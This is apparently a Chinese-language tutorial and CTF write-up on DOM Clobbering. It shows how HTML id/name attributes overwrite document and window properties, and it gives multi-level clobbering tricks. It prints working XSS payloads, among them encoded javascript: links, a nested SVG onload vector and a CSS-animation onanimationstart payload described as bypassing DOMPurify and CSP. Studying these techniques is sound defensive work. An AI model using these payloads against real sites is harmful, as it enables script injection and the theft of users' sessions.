DOM破坏

​ “DOM破坏”(DOM Clobbering),也称为“DOM污染”或“DOM污染攻击”,是一种常见的前端安全攻击方式,通常用于配合 XSS(跨站脚本)访问控制绕过。攻击者通过向 HTML 中注入特定属性或标签,污染原有 DOM 结构中的对象属性,使得开发者对 DOM 的访问行为发生意料之外的改变,从而造成安全问题。

基础原理

HTML 元素的 idname 属性会被自动挂载到 windowdocument 对象上。

  • DOM Clobbering 是一种利用 HTML 属性污染 DOM 对象的技术0。

  • 常用于配合 XSS 或逻辑绕过。

  • 核心利用点在于:HTML 的 id/name 会污染 documentwindow

example:

我们在 html 文件中添加一个 img 标签

1
<img  name=a>

这个时候我们可以用 document.a 在控制台中获取它

image-20250722185144350

而cookie 是 document 的固有属性,主要用于保持会话状态、存储用户偏好或跟踪用户行为,显然,这是一个比较危险的属性,当我们正常在浏览器中访问它时

image-20250722184605240

那么,我们如果在 html 中加入以下元素呢

1
< img name=cookie>

image-20250722184038431

显然,这种行为看起来是不可思议的,但他的却被允许出现 js 中,那我们也许可以利用他的这种特性,来实施我们的DOM破坏

这种操作在python,弱类型语言中也是可以实现的

两层覆盖

在上面的例子中,我们实现了 document.cookie 属性的单层覆盖,那么,我们如何去实现 document.body.appendChild 这种的两层覆盖呢

1
2
3
<form name=body>
<img id=appendChild>
</form>

image-20250722191938326

可以看到,我们已经成功覆盖了 appendChild ,但是我们是用 img 标签去覆盖的,而 img 通过 tostring 方法的返回值 [object HTMLImageElement] 还是一个对象,这表明 img 标签是我们难以去控制的,所以我们希望找到一个可以被 tostring 方法转换为可控的字符串的标签,以便于写入我们的 payload

我们用以下代码来查找我们的目标标签

1
2
3
4
5
var res = Object.getOwnProperNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
console.log(res)

image-20250722203416978

这串代码返回了两个目标标签,area 和 a 标签,而 area是空元素,是不能被我们利用的,所以只剩下唯一的目标标签 a 标签

1
2
<a id=a href="my payload">aaa</a>
alert(a)

image-20250722211600756

我们可以利用 a 标签的 href 属性来进行字符串转换,其他可用属性:titie,username,passwd

OK,Boomer

那么,我们的两层结构必然是 X标签.a标签 ,而 X标签 应该是特定的某个标签,还是任意标签呢

1
2
3
4
5
6
<x id=x>
<a id=a href="payload"></a>
</x>

console.log(x.a)
>undefined

实际上,任何标签都无法与a 标签组成我们期望的 x.a 的双层结构,但我们可以采取另一种方法

1
2
3
4
5
6
<x id=x>
<a id=x name=a href="payload"></a>
</x>

console.log(x.a)
>payload

我们也可以通过利⽤存在特定关系的HTML标签来构建层级关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b" ,"base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp "], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++)
{
for(var j=0;j<html.length;j++)
{
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 &&element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));

result

1
2
3
4
5
6
7
8
9
form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea
1
2
3
4
5
6
<form id=x>
<output id=y>aaa</output>
</form>

console.log(x.y)
alert(x.y.value)

三层结构

结合两种技巧

1
2
3
4
5
<form id="x" name="y"><output id=z>I've been clobbered</output>  </form>
<formid="x"></form>
<script>
alert(x.y.z.value)
</script>

DOM破坏实例

Ok, Boomer

1
2
3
4
5
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>

通过对DOM破坏 原理的了解,我们只需要让 OK 中的内容变成我们想执行的内容,就可以解出这道题了

1
2
3
4
5
<a id=ok href="alert(1)">aaa</a>  # 需要用javascript:伪协议触发

<a id=ok href="javascript:alert(1)">aaa</a>

<a id=ok href="%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26colon%3Balert(1)">aaa</a>

image-20250722213322476

貌似是被框架过滤掉了

image-20250722214437121

查看这个框架过滤的白名单

image-20250722215407626

1
2
3
4
5
6
7
尝试允许的协议
<a id=ok href="mailto:alert(1)">aaa</a>
<a id=ok href="tel:alert(1)">aaa</a>
<a id=ok href="callto:alert(1)">aaa</a>
<a id=ok href="sms:alert(1)">aaa</a>
<a id=ok href="cid:alert(1)">aaa</a>
<a id=ok href="xmpp:alert(1)">aaa</a>

SVG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;

for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>

SVG解法

1
<svg><svg/onload=alert(1)></svg>

当你执行:

1
root.innerHTML = "<svg><svg/onload=alert(1)></svg>"

浏览器会:

  1. 解析字符串为 DOM 元素树。
  2. 创建 <svg> 和其内部的 <svg onload=alert(1)>
  3. 对于嵌套的 <svg>浏览器直接创建 SVG 命名空间的元素,并注册属性事件
  4. 对于 某些 SVG 元素和浏览器只要这个元素一被创建出来,就会立即触发 onload,不需要插入页面。

这是 SVG 特有的“预激活行为”。

SVG 的 onload 事件在元素被创建并插入 DOM 树时(哪怕只是 fragment 里),就可能被执行。

DOM破坏解法

1
2
3
4
<form a=1 b=2>
<input id=attributes>
<input id=attributes>
</form>

image-20250723185448166

属性(Attribute)

/zh-CN/docs/Glossary/Attribute

…属性(Attribute)可扩展 HTML 或 XML 元素,改变其行为或提供元数据。 属性的形式总是 name=”value”(属性的标识符后跟相关的值)。

我们用 input 标签的 id 属性,重写/覆盖 了 form 标签的 attribute 属性,从而保留了form 标签的原有属性

image-20250723185934265

无需用户参与的 payload

1
2
3
4
<style>@keyframes x{}</style>
<form style='animation-name:x;' onanimationstart="alert(1)">
<input id="attributes"><input id="attributes">
</form>
  • 利用了 HTML 的 onanimationstart 属性作为注入点,搭配合法的 CSS 动画触发执行。
  • 不依赖 script 标签或 <img onerror>,因此在很多 过滤器或 CSP 限制下能绕过检测

这个技术在实际 XSS 攻击中被称为:

  • “CSS Animation + onanimationstart” XSS
  • 经常出现在一些 DOMPurify 绕过CSP 绕过严格过滤器逃逸的场景中。

DOM clobbering burpsuite